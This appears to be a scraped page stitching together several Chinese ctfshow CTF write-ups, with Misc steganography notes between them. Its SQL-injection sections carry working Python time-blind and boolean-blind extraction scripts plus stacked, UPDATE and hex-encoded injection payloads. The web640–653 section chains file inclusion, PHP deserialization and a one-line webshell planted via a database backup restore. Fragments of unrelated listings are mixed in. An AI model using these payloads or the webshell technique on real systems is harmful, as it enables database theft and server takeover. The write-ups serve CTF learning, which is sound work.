import time import requests from tqdm import tqdm def timeBlindSql(url): strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' flag = '' T = '(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F)' headers = {"Content-Type": "application/x-www-form-urlencoded"} for i in tqdm(range(1,100)): low = 32 high = 127 while low < high: mid = (low + high) >> 1 payload = "'1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, {}, 0) and ('1'" # payload = "'1') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'), {}, 1)) > {}, {}, 0) and ('1'" # payload = "'1') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc), {}, 1)) > {}, {}, 0) and and ('1'" data = { 'ip' : payload.format(i,mid,T), 'debug' : '0' } print(data) start_time = time.time() requests.post(url=url, data=data, headers=headers) end_time = time.time() diff_time = end_time - start_time if diff_time < 4: high = mid else: low = mid + 1 if low != 32: flag += chr(low) print('[+] ' + flag) if chr(low) == '}': exit(0) continue else: break if __name__ == '__main__': url = "http://4c7e8954-4478-4007-975b-ce06c34edfb8.challenge.ctf.show:8080/api/" timeBlindSql(url)
web220
- 过滤条件为:
preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
,继续用笛卡尔积来进行延时注入,利用left
来匹配字符串
import time import requests from tqdm import tqdm def timeBlindSql(url): strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' flag = 'ct' T = '(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F, information_schema.schemata G)' headers = {"Content-Type": "application/x-www-form-urlencoded"} for i in tqdm(range(3,100)): for ch in strings: payload = "'1') or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1), {})like'{}', {}, 0) and ('1'" data = { 'ip' : payload.format(i,flag+ch,T), 'debug' : '0' } print(data) start_time = time.time() requests.post(url=url, data=data, headers=headers) end_time = time.time() diff_time = end_time - start_time if diff_time < 4: continue else: flag = flag + ch print('[+] ' + flag) break if __name__ == '__main__': url = "http://41ac10b3-19ba-4719-849b-b6f8a6a2efc1.challenge.ctf.show:8080/api/" timeBlindSql(url)
web221
- 参考P牛的文章,文章链接
http://1c1edfaa-f567-4fba-a04f-285c886e937d.chall.ctf.show/api/?page=2&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
web222
import requests from tqdm import tqdm headers = { 'Content-Type' : 'application/x-www-form-urlencoded', 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' } flag = '' def groupBySql(url): global flag for i in tqdm(range(1,50)): low = 32 high = 127 while low < high: mid = (high + low) >> 1 # payload = 'u=if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))>{},username,1)&page=1&limit=10'.format(i, mid) # payload = 'u=if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'ctfshow_flaga\'),{},1))>{},username,1)&page=1&limit=10'.format(i, mid) payload = 'u=if(ascii(substr((select/**/group_concat(flagaabc)/**/from/**/ctfshow_flaga),{},1))>{},username,1)&page=1&limit=10'.format(i, mid) print(payload) res = requests.get(url=url, params=payload, headers=headers) if 'userAUTO' in res.text: low = mid + 1 else: high = mid if low != 32: flag += chr(low) print('[+] ' + flag) if chr(low) == '}': exit(0) else: break if __name__ == '__main__': url = 'http://a922ab82-0b09-4168-b545-7fec8ebf2419.challenge.ctf.show:8080/api/' groupBySql(url)
web223
import requests from tqdm import tqdm import urllib.parse # headers = { # 'Content-Type' : 'application/x-www-form-urlencoded', # 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' # } flag = '' def getNumber(num): result = 'true' if num == 1: return result else: for i in range(num - 1): result += '+true' return result def groupBySql(url): global flag for i in tqdm(range(1,50)): low = 32 high = 127 while low < high: mid = (high + low) >> 1 # payload = {'u' : f"if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{getNumber(i)},{getNumber(1)}))>({getNumber(mid)}),username,'a')"} # payload = {'u' : f"if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_flagas'),{getNumber(i)},{getNumber(1)}))>({getNumber(mid)}),username,'a')"} payload = {'u' : f"if(ascii(substr((select/**/group_concat(flagasabc)/**/from/**/ctfshow_flagas),{getNumber(i)},{getNumber(1)}))>({getNumber(mid)}),username,'a')"} print(payload) res = requests.get(url=url, params=payload) if 'userAUTO' in res.text: low = mid + 1 else: high = mid if low != 32: flag += chr(low) print('[+] ' + flag) if chr(low) == '}': exit(0) else: break if __name__ == '__main__': url = 'http://8a1651f0-0cea-47cd-a662-15891b0889de.challenge.ctf.show:8080/api/' groupBySql(url)
web224
web225
- 开始堆叠注入
查找表名 ?username=1';show tables; 查找数据 ?username=1';handler ctfshow_flagasa open;handler ctfshow_flagasa read first; 或者用预编译来做 ?username=1';PREPARE H3rmesk1t from concat('sel','ect * from ctfshow_flagasa');EXECUTE H3rmesk1t;
web226
- 过滤了
show
和(
,用十六进制来绕过
?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo; ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE demo;
web227
- 这道题的 Flag 需要通过查看存储过程和函数的信息来获取,即
information_schema.Routines
直接拿到 Flag 或者发现自定义的 getflag 函数通过 call getFlag(); 来获取 Flag ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;EXECUTE demo;
web228
- 继续用之前的预处理 Payload
?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo; ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE demo;
web229
- 继续用之前的预处理 Payload
?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo; ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d20666c6167;EXECUTE demo;
web230
- 继续用之前的预处理 Payload
?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo; ?username=1';PREPARE demo from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE demo;
web231
- 开始
update
注入的学习了
爆表名 password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1 爆列名 password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1 爆数据 password=1',username=(select flagas from flaga) where 1=1#&username=1
web232
- 和上面的 Payload 差不多,改一下闭合形式就行
爆表名 password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1 爆列名 password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1 爆数据 password=1'),username=(select flagas from flaga) where 1=1#&username=1
web233
- 时间盲注
import time import requests from tqdm import tqdm def timeBlindSql(url): strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' flag = 'ct' T = '(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F, information_schema.schemata G)' headers = {"Content-Type": "application/x-www-form-urlencoded"} for i in tqdm(range(3,100)): for ch in strings: payload = "'1') or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1), {})like'{}', {}, 0) and ('1'" data = { 'ip' : payload.format(i,flag+ch,T), 'debug' : '0' } print(data) start_time = time.time() requests.post(url=url, data=data, headers=headers) end_time = time.time() diff_time = end_time - start_time if diff_time < 4: continue else: flag = flag + ch print('[+] ' + flag) break if __name__ == '__main__': url = "http://41ac10b3-19ba-4719-849b-b6f8a6a2efc1.challenge.ctf.show:8080/api/" timeBlindSql(url)
web234
- 单引号被过滤了,用
\
实现逃逸
username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())-- - &password=\ username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)-- - &password=\ username=,username=(select flagass23s3 from flag23a)-- - &password=\
-
ctfshow终极考核wp
2022-01-17 16:39:15ctfshow{060ae7a27d203604baeb125f939570ef} web641 抓取首页的包,看到有一个Flag字段 ctfshow{affac61c787a82cc396585bea8ecf2dc} web642 在上面包里的源码看到css路径不寻常/system36d/static/css/start.css,...web640
打开页面就能看到flag
ctfshow{060ae7a27d203604baeb125f939570ef}
web641
抓取首页的包,看到有一个Flag字段
ctfshow{affac61c787a82cc396585bea8ecf2dc}
web642
在上面包里的源码看到css路径不寻常
/system36d/static/css/start.css
,在url后添加/system36d
,抓包得到flag。ctfshow{11a17b6fbdc69cedfb374f55026700fe}
web643
出现一个登录界面,f12查看源码,看看能不能找到密码,找到加密的js代码
tatic/js/lock/index.js
,在里面发现web644的flag
那么密码就是0x36D
,最后出现了web644的flagctfshow{616cd5fc37968fc20810b2db30152717}
web644
ctfshow{2bb9f2183f102f6f2aedbea4788f9f1d}
web645
找到执行命令的页面,抓包
测试发现能用ls
,看到下面的这些文件
可能过滤了n多个符号,没法用空格,试试页面上直接访问secret.txt
,得到一串十六进制数,转成ascii码得到web643的flag
有一个数据备份功能,把文件下载后得到flagctfshow{28b00f799c2e059bafaa1d6bda138d89}
web646
可以看到远程更新那里要输入web645的flag,输入后抓包,看到有一个update_address参数,试一试文件包含
?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=/var/www/html/system36d/init.php
得到flag
ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}
web647
查看users.php
evilString($m) { $key = '372619038'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE) { echo shell_exec('cat \/FLAG\/FLAG647'); } else { echo 'you are not 372619038?'; } }
checklogin.php
<?php $s=$_GET['s']; setcookie('uid',intval($s)); $_SESSION['user_id']=intval($s); header('location:main.php');
647的flag的cookie值是372619038,先访问
/system36d/checklogin.php?s=372619038
再访问
/system36d/users.php?action=evilString&m=session_encode
得到flag
ctfshow{e6ad8304cdb562971999b476d8922219}
web648
我整理了下完整的代码
<?php error_reporting(0); session_start(); include 'init.php'; $a=$_GET['action']; $data = file_get_contents(DB_PATH); $ret = ''; switch ($a) { case 'evilClass': evilClass($_GET['m'],$_GET['key']); break; } function evilClass($m,$k){ class ctfshow { public $m; public function construct($m) { $this->$m = $m; } } $ctfshow = new ctfshow($m); $ctfshow->$m = $m; if ($ctfshow->$m == $m && $k == shell_exec('cat /FLAG/FLAG647')) { echo shell_exec('cat /FLAG/FLAG648'); } else { echo 'mmmmm?'; } }
唯一要注意的是
shell_exec('cat /FLAG/FLAG647')
的结果是flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
,而不是单独的一个flag/system36d/users.php?action=evilClass&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}&m=m
得到flag
ctfshow{af5b5e411813eafd8dc2311df30b394e}
web649
先看代码
<?php error_reporting(0); session_start(); include 'init.php'; $a=$_GET['action']; $data = file_get_contents(DB_PATH); $ret = ''; switch ($a) { case 'evilNumber': evilNumber($_GET['m'],$_GET['key']); break; } function evilNumber($m, $k) { $number = getArray(1000, 20, 10, 999); if ($number[$m] == $m && $k == shell_exec('cat /FLAG/FLAG648')) { echo shell_exec('cat /FLAG/FLAG649'); } else { echo 'number is right?'; } } function getArray($total, $times, $min, $max) { $data = array(); if ($min * $times > $total) { return array(); } if ($max * $times < $total) { return array(); } while ($times >= 1) { $times--; $kmix = max($min, $total - $times * $max); $kmax = min($max, $total - $times * $min); $kAvg = $total / ($times + 1); $kDis = min($kAvg - $kmix, $kmax - $kAvg); $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2; $k = round($kAvg + $r); $total -= $k; $data[] = $k; } return $data; }
getArray()函数用于生成随机数,直接不传值就行
/system36d/users.php?action=evilNumber&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
web650
<?php error_reporting(0); session_start(); include 'init.php'; $a=$_GET['action']; $data = file_get_contents(DB_PATH); $ret = ''; switch ($a) { case 'evilFunction': evilFunction($_GET['m'],$_GET['key']); break; } function evilFunction($m, $k) { $key = 'ffffffff'; $content = call_user_func($m); if (stripos($content, $key) !== FALSE && $k == shell_exec('cat \/FLAG\/FLAG649')) { echo shell_exec('cat /FLAG/FLAG650'); } else { echo 'you are not ffffffff?'; } }
要让
$content
的函数值中有$key
的内容,可以把cookie中的SESSIONID
改成ffffffff
即可/system36d/users.php?action=evilFunction&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}&m=session_id
flag
ctfshow{5eae22d9973a16a0d37c9854504b3029}
web651
<?php error_reporting(0); session_start(); include 'init.php'; $a=$_GET['action']; $data = file_get_contents(DB_PATH); $ret = ''; switch ($a) { case 'evilArray': evilArray($_GET['m'],$_GET['key']); break; } function evilArray($m, $k) { $arrays = unserialize($m); if ($arrays !== false) { if (array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k == shell_exec('cat /FLAG/FLAG650')) { echo shell_exec('cat /FLAG/FLAG651'); } else { echo 'array?'; } } }
这里的要求是数组中的键是
username
,值是ctfshow
,构造一下<?php class web651{ public $username='ctfshow'; } echo urlencode(serialize(new web651()));
传值即可得到flag
/system36d/users.php?action=evilArray&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}&m=O%3A6%3A%22web651%22%3A1%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22ctfshow%22%3B%7D
ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
web652
查看page.php和util/dbutil.php的代码,发现有sql操作
page.php
<?php error_reporting(0); include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php'; $id = isset($_GET['id'])?$_GET['id']:'1'; $id = addslashes($id); $name = db::get_username($id); ?>
util/dbutil.php
<?php class db{ private static $host='localhost'; private static $username='root'; private static $password='root'; private static $database='ctfshow'; private static $conn; public static function get_key(){ $ret = ''; $conn = self::get_conn(); $res = $conn->query('select `key` from ctfshow_keys'); if($res){ $row = $res->fetch_array(MYSQLI_ASSOC); } $ret = $row['key']; self::close(); return $ret; } public static function get_username($id){ $ret = ''; $conn = self::get_conn(); $res = $conn->query("select `username` from ctfshow_users where id = ($id)"); if($res){ $row = $res->fetch_array(MYSQLI_ASSOC); } $ret = $row['username']; self::close(); return $ret; } private static function get_conn(){ if(self::$conn==null){ self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database); } return self::$conn; } private static function close(){ if(self::$conn!==null){ self::$conn->close(); } } }
这里使用了
addslashes()
函数来防注入,但是url编码就可以绕过。发现回显点在标题上/page.php?id=1000)%20union%20select%20database()%23
库名是
ctfshow
;
information_schema应该是被过滤了,所以换mysql.innodb_table_stats
获取表名/page.php?id=1000) union select group_concat(table_name) from mysql.innodb_table_stats where database_name = database()%23
表名有
ctfshow_keys,ctfshow_secret,ctfshow_users
;/page.php?id=1000) union select * from ctfshow_secret%23
得到flag,并查出key值为
key_is_here_you_know
ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}
web653
查看common.php的代码
<?php include 'dbutil.php'; if($_GET['k']!==shell_exec('cat \/FLAG\/FLAG651')){\n die('651flag\u672a\u62ff\u5230'); } if(isset($_POST['file']) && file_exists($_POST['file'])){ if(db::get_key()==$_POST['key']){ include __DIR__.DIRECTORY_SEPARATOR.$_POST['file']; } }
有文件包含可以利用,想到前面有一个备份的下载和上传功能,也知道了db文件的位置
先下载备份文件,在里面添加一句话木马后通过数据还原上传,然后包含GET: http://42bca333-4e6a-47dd-aac9-ac355892c78e.challenge.ctf.show/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6} POST: key=key_is_here_you_know&file=../db/data_you_never_know.db&a=phpinfo();
蚁剑连接后在根目录找到flag
ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}
web654
-
ctfshow-Misc入门
2021-07-29 00:32:02ctfshow-Misc入门写在前面图片篇(基础操作)misc1misc2misc3misc4图片篇(信息附加)misc5misc6misc7misc8misc9zsteg (补充)misc10misc11misc12misc13misc14misc15misc16misc17misc18misc19misc20misc21misc22misc23...写在前面
后续提取图片中的flag均为脚本提取,部分flag提取出错需要人工再次核验哈~,flag提取演示
图片篇(基础操作)
misc1
flag在下载的图片上
misc2
将后缀名改为
.png
即可在图片上看到flagmisc3
推荐一款图片浏览器
Honeyview
,直接可以查看bpg格式的图片misc4
用 HxD 依次查看文件头,将后缀名依次改为
.png
、.jpg
、.bmp
、.gif
、.tif
、.webp
,将内容拼接起来即可得到flag
图片篇(信息附加)
misc5
用
HxD
打开,拖到尾部即可发现flagmisc6
用
HxD
打开,搜索关键词ctfshow
即可发现flagmisc7
用
HxD
打开,搜索关键词ctfshow
即可发现flagmisc8
binwalk
查看图片发现隐藏图片,利用foremost
提取出来
misc9
用
zsteg
查看图片,发现flagzsteg (补充)
zsteg安装方法 (补充)
更换RubyGems的源 gem sources --remove https://rubygems.org/ gem sources --add https://gems.ruby-china.com/ gem sources -l 安装zsteg git clone https://hub.fastgit.org/zed-0xff/zsteg.git cd zsteg gem install zsteg
zsteg的使用方法 (常见)
查看帮助 zsteg -h 查看LSB信息 zsteg pcat.png 检测zlib # -b的位数是从1开始的 zsteg zlib.bmp -b 1 -o xy -v 显示细节 zsteg pcat.png -v 尝试所有已知的组合 zsteg pcat.png -a 导出内容 zsteg -E "b1,bgr,lsb,xy" pcat.png > p.exe 更多的使用方法可以查看README.md
misc10
用
binwalk
查看图片,分离图片,查看数据块即可发现flag,需要注意的是zlib是PNG IDAT的可选压缩格式misc11
binwalk 查看发现两个IDAT数据块,尝试删去第一个数据块,查看图片发现flag
misc12
zsteg查看图片提示数据块异常
测试后发现需要删掉前8个IDAT块
misc13
HxD
查看发现图片尾部存在可疑数据,观察发现{
前面那一串字符从第一位开始每隔一位选取一个字符,连起来就是ctfshow,编写脚本提取flags="631A74B96685738668AA6F4B77B07B216114655336A5655433346578612534DD38EF66AB35103195381F628237BA6545347C3254647E373A64E465F136FA66F5341E3107321D665438F1333239E9616C7D" flag="" for i in range(0,len(s),4): flag += s[i] flag += s[i+1] print(flag)
misc14
binwalk
查看图片,发现JPEG图片,foremost
和binwalk
无法成功提取,用HxD
打开搜索文件头手动提取
misc15
用
HxD
打开搜索关键词ctfshow
即可发现flagmisc16
binwalk
查看图片,发现额外数据,用binwalk -e
提取出来,查看提取出来的文件发现flagmisc17
binwalk
提取出来的东西解不出,尝试zsteg
,根据提示提取信息得到PNG图片,查看图片发现flagmisc18
用
exiftool
查看图片,flag在标题、作者、照相机和镜头型号里misc19
用
exiftool
查看图片,flag在主机上的文档名里misc20
用
exiftool
查看图片,flag在评论里misc21
用
exiftool
查看图片,将序列号686578285826597329
转字符得到hex(X&Ys)
,分别将X/Y Resolution
和X/Y Position
转成hex,然后拼接起来,flag为ctfshow{e8a221498d5c073b4084eb51b1a1686d}
misc22
直接查看图片没有发现什么,但是用
Honeyview
浏览缩略图时发现数据利用
MagicEXIF
查看图片,flag为ctfshow{dbf7d3f84b0125e833dfd3c80820a129}
misc23
用
exiftool
看一下发现有好几个历史时间,History Action
中有提示将给出的四个时间的时间戳转换出来,分别hex后拼在一起,转换地址
misc41
提示中的
F001
是突破点,HxD
查看图片发现有有大量F001
组成了某种形状把
F001
出现过的位置中所有十六进制的值单独截取出来,每四位分隔开,把F001替换成0,其他值替换成空格,得到一张含有flag的图片,这里也可以采用CyberChef
来解决问题,flag为ctfshow{fcbd427caf4a52f1147ab44346cd1cdd}
图片篇(文件结构)
misc24
用
HxD
查看一下图片,文件头占了53个字节,文件尾的位置在675053字节处 (后面两个字节是windows的”补0”),因为每个像素点由3个字节 (十六进制码6位) 表示,每个字节负责控制一种颜色,分别为蓝(Blue)、绿(Green)、红(Red),所以文件真实的像素大小为:(675053-53)/3=225000
题目给的图片是
900*150=135000
个像素大小尝试后发现这题的宽度是对的,所以正确的高度是
225000/900=250
,将高度改成
misc25
用
TweakPNG
查看图片发现图片的CRC值不对,猜测应该是修改了宽高,用脚本跑一下看看根据脚本计算出来的值修改宽高,保存后即可看到flag
misc26
用
TweakPNG
查看图片发现图片的CRC值不对,和上一题一样用脚本跑一下看看
根据脚本计算出来的值修改宽高,保存后即可看到flag
misc27
根据提示,猜测依旧是修改图片高度,将高度改高后即可发现flag
misc28
根据提示,猜测依旧是修改图片高度,将高度改高后即可发现flag,但是需要注意从预览图中能看到flag,但是直接打开看不到,可以使用图片编辑器或者Stegsolve打开
misc29
GIF有很多帧,将每一帧的高度都改高后,用
Stegsolve
查看,在第八帧即可发现flagmisc30
根据提示修改BMP图片宽度即可发现flag
misc31
根据题给描述,计算正确宽度
misc32
根据题给描述,计算出正确的高宽
import zlib import struct # 同时爆破宽度和高度 filename = "misc32.png" with open(filename, 'rb') as f: all_b = f.read() data = bytearray(all_b[12:29]) n = 4095 for w in range(n): width = bytearray(struct.pack('>i', w)) for h in range(n): height = bytearray(struct.pack('>i', h)) for x in range(4): data[x+4] = width[x] data[x+8] = height[x] crc32result = zlib.crc32(data) #替换成图片的crc if crc32result == 0xE14A4C0B: print("宽为:", end = '') print(width, end = ' ') print(int.from_bytes(width, byteorder='big')) print("高为:", end = '') print(height, end = ' ') print(int.from_bytes(height, byteorder='big'))
修改宽高保存后即可看到flag
misc33
根据题给描述,计算出正确的高宽
修改宽高保存后即可看到flag
misc34
利用脚本把生成的所有图片都保存下来了,观察哪个是正常的
import zlib import struct filename = r"C:\Users\95235\Downloads\misc34\misc34.png" with open(filename, 'rb') as f: all_b = f.read() #w = all_b[16:20] #h = all_b[20:24] for i in range(901,1200): name = str(i) + ".png" f1 = open(r"C:\Users\95235\Downloads\misc34\\" + name,"wb") im = all_b[:16]+struct.pack('>i',i)+all_b[20:] f1.write(im) f1.close()
misc35
先把图片基础的高度调高一点(高度在600,宽度在993-1000这个范围内都可以得到flag),才能看到flag
import zlib import struct filename = r"C:\Users\95235\Downloads\misc35\misc35.jpg" with open(filename, 'rb') as f: all_b = f.read() #w = all_b[159:161] #h = all_b[157:159] for i in range(901,1200): name = str(i) + ".jpg" f1 = open(r"C:\Users\95235\Downloads\misc35\\" + name,"wb") im = all_b[:159]+struct.pack('>h',i)+all_b[161:] f1.write(im) f1.close()
misc36
和上一题一样先把图片基础的高度调高一点,脚本爆破即可,用照片编辑器查看gif文件
import zlib import struct filename = r"C:\Users\95235\Downloads\misc36\misc36.gif" with open(filename, 'rb') as f: all_b = f.read() for i in range(920,951): name = str(i) + ".gif" f1 = open(r"C:\Users\95235\Downloads\misc36\\" + name,"wb") im = all_b[:38]+struct.pack('>h',i)[::-1]+all_b[40:] f1.write(im) f1.close()
misc37
用
Stegsolve
查看,flag在8、14、21、31、34
帧中,拼接起来即可
misc38
题目所给的是apng图片,可以使用APNG Disassembler来把每一帧分离出来,
9、17、36、40
帧中藏有flag
misc39
这里是利用不同帧之间的间隔时间来隐写的,利用
identify
来处理该GIF图片安装命令: sudo apt-get install imagemagick
提取命令:
identify -format "%T " misc39.gif > 1.txt
,得到的一串36和37把37换成1、36换成0,得到长度为287的二进制字符串,由于无法整除8,考虑7位一组,转换成字符得到flag
misc40
文件识别为
apng
文件,使用工具APNG Disassembler
,flag在记录详细信息的txt文件中,用脚本把flag提取出来misc42
根据提示,用
tweakpng
打开图片,发现IDAT块的长度很可疑,有一部分IDAT块的长度转换为字符是ctfshow
,将后面的接着转换成字符即可得到flag
misc43
根据题给描述,先用tweakpng打开分析一下图片,发现报了一堆错,使用
pngdebugger
分析,发现所有IDAT块的crc32值都是错误的将错误的IDAT块的
crc-code
提取出来,拼接起来转字符串即可得到flagimport binascii def hex_to_str(s): hex = s.encode('utf-8') str_bin = bin str_bin = binascii.unhexlify(hex) return str_bin.decode('utf-8') s = 'E59387E593A62E63746673686F777B36656232353839666666663565333930666536623837353034646263303839327D' hex_to_str(s)
misc44
根据提示,用
PNGDebugger
打开,把信息导入到txt文件中利用脚本把
CRC OK
的替换成1,CRC FAILED
替换成0,注意先把前十行的内容删去,再把最后四行删去misc45
根据题给描述,猜测是文件转换,测试后发现转成
.bmp
格式后,用binwalk
提取即可,看大师傅的blog发现考察点是png和bmp像素点的读取方式
misc46
根据题给描述,搜索后猜测应该是画图之类的,先提取出GIF的详细信息
identify misc46.gif > message.txt
观察得到的信息,其中
0+0、174+49、196+47
这些是偏移量,用其来进行画图坐标提取: f = open(r"C:\Users\95235\Downloads\misc46\message.txt","r") x = f.readlines() f.close() f = open(r"C:\Users\95235\Downloads\misc46\out.txt","w") for i in x: f.write(i.split("+")[1]) f.write(" ") f.write(i.split("+")[2][:2]) f.write("\n") f.close()
根据得到的点坐标进行绘图
misc47
测试后发现是apng格式,解题的思路是根据每一个IDAT块前面的一个fcTL块中包含的水平垂直偏移量
import struct from PIL import Image import matplotlib.pyplot as plt f = open(r'C:\Users\95235\Downloads\misc47\misc47.png','rb') c = f.read() c = c[c.index(bytes.fromhex('6663544C00000001')):] pp = [] for i in range(1,1124,2): start = c.index(bytes.fromhex('6663544C0000')+struct.pack('>h',i)) fc = c[start:start+30] print(fc[18:20],fc[22:24]) print(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24])) pp.append(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24])) img = Image.new('RGB',(400,70),(255,255,255)) for i in pp: new = Image.new('RGB',(1,1),(0,0,0)) img.paste(new,i) plt.imshow(img) plt.show()
misc48
用
010 editor
打开,发现提示统计FF的数量再减去1、ctfshow{}中包含32个字符
因为flag长度是32位,所以只需要统计前32个段就行
0 12 11 0 7 10 13 13 9 0 9 13 0 13 6 0 10 9 2 1 0 1 10 8 11 5 12 7 2 2 3 10
分别转换成hex即可
s = [0,12,11,0,7,10,13,13,9,0,9,13,0,13,6,0,10,9,2,1,0,1,10,8,11,5,12,7,2,2,3,10] f = '0123456789abcdef' flag = 'ctfshow{' for i in range(len(s)): flag += f[s[i]] flag += '}' print(flag)
misc49
用
010 editor
打开,FFE
后面的就是flag的值图片篇(颜色通道)
misc50
由于是颜色通道篇的,很自然想到用
Stegsolve
查看一下,
-
CTFshow——web入门——sql注入
2022-02-17 20:57:2350): for x in flagstr: data = { "tableName":"`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag + x) #"tableName": "`ctfshow_user`where`pass`regexp('ctfshow{}')".format(flag + x) } response = ... -
ctfshow web入门 sql注入
2021-12-07 16:08:59无过滤注入 web171 查询语句 $sql = "select... } 括号代替空格,根据之前的表ctfshow_user,post传参tableName=ctfshow_user发现有回显,直接盲注脚本跑一下(%为模糊查询符) Exp #@Auth:Sentiment import requests url='... -
CTFshow-sqli-labs
2021-04-19 13:38:40CTFshow sql-labs刷题记录 1-4 分别用’、"、’)、")闭合,通过联合查询语句union获取flag。由于当前调用的库非存放flag的库,可以用手注,通过元数据库information_schema.schemata表(查找所有库名),information... -
ctfshow 其他
2021-06-28 08:59:06//获取参数 $ctfshow=$_GET['ctfshow']; //包含清理脚本 include($clear); extract($_POST); if($key===0x36d){ //帮黑阔写好后门 eval('.$ctfshow.'?>'); }else{ $die?die('FLAG_NOT_HERE'):clear($clear); } === ... -
[CTFSHOW]CTFSHOW击剑杯 部分WP
2021-11-11 22:04:41payload:POST传 secret=O%3A6%3A%22whoami%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bs%3A19%3A%22ctfshow%E7%AC%AC%E4%B8%80%E6%B7%B1%E6%83%85%22%3Bs%3A11%3A%22your_answer%22%3Bs%3A3%3A%22123%22%3Bs%3A7%3A%22... -
CTFshow——sqli-labs
2021-04-10 08:49:19id=-1' union select 1,database(),(select group_concat(flag) from ctfshow.flag )-- - 2——数字型 ?id=-1 union select 1,database(),(select group_concat(flagac) from ctfshow.flagaa )-- - (select group_... -
CTFshow misc入门 持续更新中
2022-04-11 10:10:28ctfshow{dd7d8bc9e5e873eb7da3fa51d92ca4b7} misc25 得到一个png格式的图片 这题和24题差不多 题目提示:flag在图片下面 有时候感觉手工太累,找到一个大佬的脚本 一键破解png图片宽高 import struct. -
CTFshow_终极考核_个人WP
2022-01-05 20:41:10CTFshow_终极考核 参考 不打算参考 0x00 web640 flag_640=ctfshow{060ae7a27d203604baeb125f939570ef} 这里就陆陆续续记录些杂乱的做题笔记吧 做之前提醒自己 信息收集 后果必有前因 640前端发现可疑路径 ... -
ctfshow web入门 sql注入wp(未完)
2022-03-08 19:11:58ctfshow sql注入 -
ctfshow中Misc入门WP(超级全)
2021-07-25 16:39:37把四段拼起来得到3902939465237161861910824528172980145261,然后转十六进制,再套上ctfshow{},如果不是整体直接转换的话,每段分别转hex,然后拼起来 最终得到:ctfshow{e8a221498d5c073b4084eb51b1a1686d} 后面... -
CTFSHOW其他篇
2021-02-02 10:19:26(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) web450 ctfshow=phpinfo^phpinfo^phpinfo web451 phpanfo^phpznfo^phprnfo 一位一位异或的 'a'^'z'^'r'=i web452 ctfshow=... -
CTFSHOW-MISC入门
2021-11-24 13:42:16将xy四段,每段分别转换为16进制,组合起来加上ctfshow{}即可 ctfshow{e8a221498d5c073b4084eb51b1a1686d} MISC 22 提示:flag在图片里 知识点: ThumbnailImage 缩略图 JPEG图片采用了有损压缩的方式,其过程比较... -
CTFSHOW sql注入(一)
